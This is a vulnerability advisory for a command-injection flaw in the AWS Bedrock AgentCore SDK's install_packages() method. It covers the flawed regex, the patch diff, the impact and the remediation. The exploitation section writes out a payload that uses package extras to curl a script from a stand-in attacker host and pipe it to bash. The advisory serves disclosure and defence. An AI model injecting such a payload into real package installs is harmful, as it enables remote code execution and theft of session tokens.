CVE-2026-16796: Command Argument Injection in AWS Bedrock AgentCore SDK

The AWS Bedrock AgentCore Python SDK (bedrock-agentcore) exposes helper tools to manage the Bedrock Agent environment. Among these, the CodeInterpreter tool allows Python agents to run in a secure, isolated sandbox environment to execute dynamically generated code blocks. To facilitate third-party dependency installation inside this sandbox, the SDK provides an install_packages() interface that wraps the standard Python pip utility.

Because the sandbox must dynamically download packages on demand, it relies on system-level command execution to trigger the pip install binary. The vulnerability exists within this installation flow, specifically when processing PEP 508 "extras" specifiers inside the requested package strings. The library failed to restrict the input format adequately before executing the constructed command within the system shell.

An attacker who has access to supply package arguments to the CodeInterpreter workspace can inject shell metacharacters. These metacharacters execute arbitrary code under the authorization context of the sandbox container, compromising the integrity of the isolated session.

The core of the vulnerability lies in src/bedrock_agentcore/tools/code_interpreter_client.py within the install_packages() method. Prior to validation, the library attempted to match package names against an internal regular expression designed to enforce valid package naming conventions.

VALID_PACKAGE_NAME = re.compile(
    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
)

The catastrophic structural flaw in this pattern resides in the capture group meant to identify package extras: (\[.*\])?. Because the regex engine utilizes the wildcard pattern .* greedily within the square brackets, it accepts any sequence of character inputs of arbitrary length. This greedy matching effectively invalidates the defensive properties of the regular expression.

Furthermore, the system executed the resulting command via a shell environment rather than spawning a direct subprocess with isolated arguments. This processing approach meant that any metacharacters containing shell instructions—such as $(), backticks, or semicolons—were evaluated directly by the underlying OS shell rather than being parsed as safe string arguments.

The security defect was resolved in commit 3c4b4ee6b8730e6313a82c743ac37dbcc1c21cdb by tightening the validation regular expression and implementing POSIX shell escaping.

@@ -6,6 +6,7 @@
 
 import logging
 import re
+import shlex
 import uuid
 from contextlib import contextmanager
 from typing import Any, Dict, Generator, List, Optional, Union
@@ -20,8 +21,11 @@
 
 DEFAULT_IDENTIFIER = "aws.codeinterpreter.v1"
 
+# Allowlist for pip package specifiers. The extras group is restricted to valid
+# extra names (comma-separated identifiers) rather than allowing arbitrary
+# characters, so only well-formed package specifiers are accepted.
 VALID_PACKAGE_NAME = re.compile(
-    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[.*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
+    r"^[a-zA-Z0-9]([a-zA-Z0-9._-]*[a-zA-Z0-9])?(\[[a-zA-Z0-9._,\-]*\])?(==|>=|<=|!=|~=|>|<)?[a-zA-Z0-9.*]*$"
 )
 DEFAULT_TIMEOUT = 900
 
@@ -606,7 +610,8 @@ def install_packages(
             if not VALID_PACKAGE_NAME.match(pkg):
                 raise ValueError(f"Invalid package name: {pkg}")
 
-        packages_str = " ".join(packages)
+        # Quote each argument so it is passed to the command as a single literal token.
+        packages_str = " ".join(shlex.quote(pkg) for pkg in packages)
         upgrade_flag = "--upgrade " if upgrade else ""
         command = f"pip install {upgrade_flag}{packages_str}"

The modified pattern restricts the character set permitted within the bracket block to [a-zA-Z0-9._,\-]. This prevents any injection of shell expansion tokens. Additionally, executing shlex.quote(pkg) before concatenation ensures that all characters are escaped according to shell-quoting rules.

An attacker with authorization to trigger package installation can supply a package name string structured to bypass the original validation regex while embedding a shell command execution payload.

To execute this exploit, the attacker crafts a payload utilizing the target dependency syntax: numpy[$(curl -s http://attacker.com/payload.sh | bash)]

The validation mechanism processes this payload as follows:

1. The initial segment numpy matches the starting identifier.
2. The extras segment [$(curl -s http://attacker.com/payload.sh | bash)] matches the greedy wildcard sequence \[.*\] because any characters within brackets are permitted.
3. The SDK concatenates this payload directly into the final command block: pip install numpy[$(curl -s http://attacker.com/payload.sh | bash)].
4. During command execution within the sandbox, the OS shell evaluates the command expansion block $() prior to invoking the pip binary.

The impact of this vulnerability is significant, carrying a CVSS v3.1 base score of 7.3. Because the execution takes place within the Code Interpreter container sandbox, the threat actor does not directly compromise the host hypervisor. However, the attacker gains full arbitrary code execution capabilities inside the container sandbox.

This execution capability allows attackers to exfiltrate session data, access temporary files, and read environmental tokens. In configurations where container network separation is weak, this execution point can be utilized to perform lateral port scans against internal AWS resources or adjacent microservices.

This flaw primarily risks data leakage and lateral movement. It can be chained with auxiliary sandbox escapes to threaten host operations.

The primary remediation for this vulnerability is upgrading the AWS Bedrock AgentCore Python SDK dependency to version 1.18.1 or higher. This upgrade implements both input validation hardening and structural shell argument quoting.

pip install --upgrade bedrock-agentcore>=1.18.1

If upgrading is not immediately possible, organizations should implement the following compensating controls:

1. Apply egress firewalls to the Code Interpreter sandbox environment to prevent outbound traffic, neutralizing command control channels and data exfiltration routes.
2. Regularly monitor execution logs inside Code Interpreter instances for instances of the pip install command containing illegal syntax characters inside brackets, such as $, ;, or &.